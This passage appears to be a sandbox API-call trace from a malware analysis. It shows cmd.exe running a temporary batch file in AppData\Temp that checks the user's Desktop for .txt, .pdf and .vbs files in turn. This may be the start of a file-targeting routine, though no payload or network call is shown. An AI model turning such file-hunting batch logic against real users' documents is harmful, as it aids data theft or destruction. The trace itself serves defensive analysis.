dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7b8 [0039.125] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.txt goto txt\r\n\n\n") returned 25 [0039.125] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.125] GetFileType (hFile=0x74) returned 0x1 [0039.125] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.125] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7b8 [0039.125] GetProcessHeap () returned 0x4e0000 [0039.125] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.125] GetProcessHeap () returned 0x4e0000 [0039.125] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.125] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.125] GetProcessHeap () returned 0x4e0000 [0039.125] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.125] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.125] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.125] GetProcessHeap () returned 0x4e0000 [0039.125] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.125] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.126] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.126] GetProcessHeap () returned 0x4e0000 [0039.126] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.126] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.126] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.126] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.126] GetProcessHeap () returned 0x4e0000 [0039.126] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.126] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.126] GetProcessHeap () returned 0x4e0000 [0039.126] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.126] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.126] GetProcessHeap () returned 0x4e0000 [0039.126] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.126] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.127] _tell (_FileHandle=3) returned 1976 [0039.127] _close (_FileHandle=3) returned 0 [0039.127] GetFullPathNameW (in: lpFileName="*.txt", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.txt", lpFilePart=0x41eea8*="*.txt") returned 0x2b [0039.127] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.127] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.txt", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.128] GetLastError () returned 0x2 [0039.128] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.128] GetLastError () returned 0x6 [0039.128] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.128] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.128] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.128] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.128] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.128] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.129] SetConsoleInputExeNameW () returned 0x1 [0039.129] GetConsoleOutputCP () returned 0x1b5 [0039.129] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.129] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.129] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.129] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.129] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.129] SetFilePointer (in: hFile=0x74, lDistanceToMove=1976, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7b8 [0039.129] GetProcessHeap () returned 0x4e0000 [0039.129] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.129] GetProcessHeap () returned 0x4e0000 [0039.129] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.129] GetProcessHeap () returned 0x4e0000 [0039.129] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.130] GetProcessHeap () returned 0x4e0000 [0039.130] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.130] GetProcessHeap () returned 0x4e0000 [0039.130] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.130] GetProcessHeap () returned 0x4e0000 [0039.130] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.130] GetProcessHeap () returned 0x4e0000 [0039.130] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.130] GetProcessHeap () returned 0x4e0000 [0039.130] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.130] GetProcessHeap () returned 0x4e0000 [0039.130] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.130] GetProcessHeap () returned 0x4e0000 [0039.130] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.130] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.130] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7b8 [0039.130] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e75, lpOverlapped=0x0) returned 1 [0039.130] SetFilePointer (in: hFile=0x74, lDistanceToMove=1978, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7ba [0039.130] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.txt goto txt\r\n\n\n") returned 2 [0039.131] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.131] GetFileType (hFile=0x74) returned 0x1 [0039.131] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.131] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7ba [0039.131] GetProcessHeap () returned 0x4e0000 [0039.131] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.131] GetProcessHeap () returned 0x4e0000 [0039.131] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.131] _tell (_FileHandle=3) returned 1978 [0039.131] _close (_FileHandle=3) returned 0 [0039.131] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.131] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.131] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.132] SetFilePointer (in: hFile=0x74, lDistanceToMove=1978, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7ba [0039.132] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.132] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7ba [0039.132] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e73, lpOverlapped=0x0) returned 1 [0039.132] SetFilePointer (in: hFile=0x74, lDistanceToMove=2003, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7d3 [0039.132] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.pdf goto pdf\r\n\n\n") returned 25 [0039.132] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.132] GetFileType (hFile=0x74) returned 0x1 [0039.132] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.132] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7d3 [0039.132] GetProcessHeap () returned 0x4e0000 [0039.132] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.132] GetProcessHeap () returned 0x4e0000 [0039.132] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.132] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.132] GetProcessHeap () returned 0x4e0000 [0039.132] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.133] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.133] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.133] GetProcessHeap () returned 0x4e0000 [0039.133] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.133] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.133] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.133] GetProcessHeap () returned 0x4e0000 [0039.133] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.133] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.133] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.133] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.133] GetProcessHeap () returned 0x4e0000 [0039.133] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.133] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.133] GetProcessHeap () returned 0x4e0000 [0039.133] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.133] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.133] GetProcessHeap () returned 0x4e0000 [0039.133] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.133] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.134] _tell (_FileHandle=3) returned 2003 [0039.134] _close (_FileHandle=3) returned 0 [0039.134] GetFullPathNameW (in: lpFileName="*.pdf", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.pdf", lpFilePart=0x41eea8*="*.pdf") returned 0x2b [0039.135] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.135] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.pdf", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.135] GetLastError () returned 0x2 [0039.135] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.135] GetLastError () returned 0x6 [0039.135] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.135] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.135] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.135] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.136] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.136] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.136] SetConsoleInputExeNameW () returned 0x1 [0039.136] GetConsoleOutputCP () returned 0x1b5 [0039.136] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.136] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.136] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.136] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.137] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.137] SetFilePointer (in: hFile=0x74, lDistanceToMove=2003, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7d3 [0039.137] GetProcessHeap () returned 0x4e0000 [0039.137] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.137] GetProcessHeap () returned 0x4e0000 [0039.137] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.137] GetProcessHeap () returned 0x4e0000 [0039.137] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.137] GetProcessHeap () returned 0x4e0000 [0039.137] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.137] GetProcessHeap () returned 0x4e0000 [0039.137] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.137] GetProcessHeap () returned 0x4e0000 [0039.137] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.137] GetProcessHeap () returned 0x4e0000 [0039.137] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.137] GetProcessHeap () returned 0x4e0000 [0039.137] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.137] GetProcessHeap () returned 0x4e0000 [0039.137] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.137] GetProcessHeap () returned 0x4e0000 [0039.137] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.137] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.137] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7d3 [0039.138] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e5a, lpOverlapped=0x0) returned 1 [0039.138] SetFilePointer (in: hFile=0x74, lDistanceToMove=2028, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7ec [0039.138] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.vbs goto vbs\r\n\n\n") returned 25 [0039.138] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.138] GetFileType (hFile=0x74) returned 0x1 [0039.138] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.138] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7ec [0039.138] GetProcessHeap () returned 0x4e0000 [0039.138] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.138] GetProcessHeap () returned 0x4e0000 [0039.138] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.138] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.138] GetProcessHeap () returned 0x4e0000 [0039.138] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0xe) returned 0x4f4518 [0039.138] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.138] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f5880 [0039.138] GetProcessHeap () returned 0x4e0000 [0039.138] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f5880) returned 0x16 [0039.138] _wcsicmp (_String1="EXIST", _String2="/I") returned 54 [0039.138] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a98 [0039.139] GetProcessHeap () returned 0x4e0000 [0039.139] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.139] _wcsicmp (_String1="ERRORLEVEL", _String2="EXIST") returned -6 [0039.139] _wcsicmp (_String1="EXIST", _String2="EXIST") returned 0 [0039.139] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58c0 [0039.139] GetProcessHeap () returned 0x4e0000 [0039.139] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x20) returned 0x4e0880 [0039.139] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4e0880, Size=0x16) returned 0x4f58e0 [0039.139] GetProcessHeap () returned 0x4e0000 [0039.139] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f58e0) returned 0x16 [0039.139] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4af8 [0039.139] GetProcessHeap () returned 0x4e0000 [0039.139] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5900 [0039.139] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5920 [0039.140] _tell (_FileHandle=3) returned 2028 [0039.140] _close (_FileHandle=3) returned 0 [0039.140] GetFullPathNameW (in: lpFileName="*.vbs", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.vbs", lpFilePart=0x41eea8*="*.vbs") returned 0x2b [0039.140] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0039.140] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.vbs", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0039.140] GetLastError () returned 0x2 [0039.141] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0039.141] GetLastError () returned 0x6 [0039.141] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.141] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.141] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.141] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.141] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.141] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.142] SetConsoleInputExeNameW () returned 0x1 [0039.142] GetConsoleOutputCP () returned 0x1b5 [0039.142] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.142] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.142] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.142] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.142] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.142] SetFilePointer (in: hFile=0x74, lDistanceToMove=2028, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7ec [0039.142] GetProcessHeap () returned 0x4e0000 [0039.142] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.142] GetProcessHeap () returned 0x4e0000 [0039.142] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.142] GetProcessHeap () returned 0x4e0000 [0039.142] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.142] GetProcessHeap () returned 0x4e0000 [0039.143] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.143] GetProcessHeap () returned 0x4e0000 [0039.143] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.143] GetProcessHeap () returned 0x4e0000 [0039.143] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.143] GetProcessHeap () returned 0x4e0000 [0039.143] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.143] GetProcessHeap () returned 0x4e0000 [0039.143] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.143] GetProcessHeap () returned 0x4e0000 [0039.143] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.143] GetProcessHeap () returned 0x4e0000 [0039.143] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.143] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.143] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7ec [0039.143] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e41, lpOverlapped=0x0) returned 1 [0039.143] SetFilePointer (in: hFile=0x74, lDistanceToMove=2030, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7ee [0039.143] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.vbs goto vbs\r\n\n\n") returned 2 [0039.143] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.143] GetFileType (hFile=0x74) returned 0x1 [0039.144] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.144] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7ee [0039.144] GetProcessHeap () returned 0x4e0000 [0039.144] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.144] GetProcessHeap () returned 0x4e0000 [0039.144] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.144] _tell (_FileHandle=3) returned 2030 [0039.144] _close (_FileHandle=3) returned 0 [0039.144] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.144] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.144] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.144] SetFilePointer (in: hFile=0x74, lDistanceToMove=2030, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7ee [0039.144] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.145] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x7ee [0039.145] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1e3f, lpOverlapped=0x0) 